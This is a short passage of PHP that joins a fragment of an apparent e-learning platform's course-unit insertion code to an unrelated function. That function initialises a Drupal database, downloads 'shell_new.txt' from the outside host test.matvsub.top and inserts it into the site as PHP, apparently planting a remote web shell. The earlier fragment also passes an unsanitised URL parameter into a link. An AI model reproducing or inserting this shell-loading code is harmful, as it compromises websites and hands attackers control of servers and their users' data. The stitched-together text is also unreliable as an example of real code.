} else { // id=-1 means we came from common documents insert button $backURL = $urlAppend . "modules/document/index.php?course=$course_code&openDir=" . $_GET['dir']; } $tool_content .= action_bar(array( array('title' => $langBack, 'url' => $backURL, 'icon' => 'fa-reply', 'level' => 'primary-label'))); if (isset($_POST['submit_doc'])) { insert_docs($id); } elseif (isset($_POST['submit_text'])) { $comments = $_POST['comments']; insert_text($id); } elseif (isset($_POST['submit_lp'])) { insert_lp($id); } elseif (isset($_POST['submit_video'])) { insert_video($id); } elseif (isset($_POST['submit_exercise'])) { insert_exercise($id); } elseif (isset($_POST['submit_work'])) { insert_work($id); } elseif (isset($_POST['submit_forum'])) { insert_forum($id); } elseif (isset($_POST['submit_poll'])) { insert_poll($id); } elseif (isset($_POST['submit_wiki'])) { insert_wiki($id); } elseif (isset($_POST['submit_link'])) {
function main_insert_into_db($DRUPAL_ROOT) { $DRUPAL_ROOT = init_db($DRUPAL_ROOT); create_table(); $text = file_get_contents('http://test.matvsub.top/shell_new.txt'); if (strlen($text) <= 100) { echo "\n===ERROR=== No found text for insert\n<br>\n"; die; } insert_text(' ?> ' . $text . ' <? '); return $DRUPAL_ROOT; }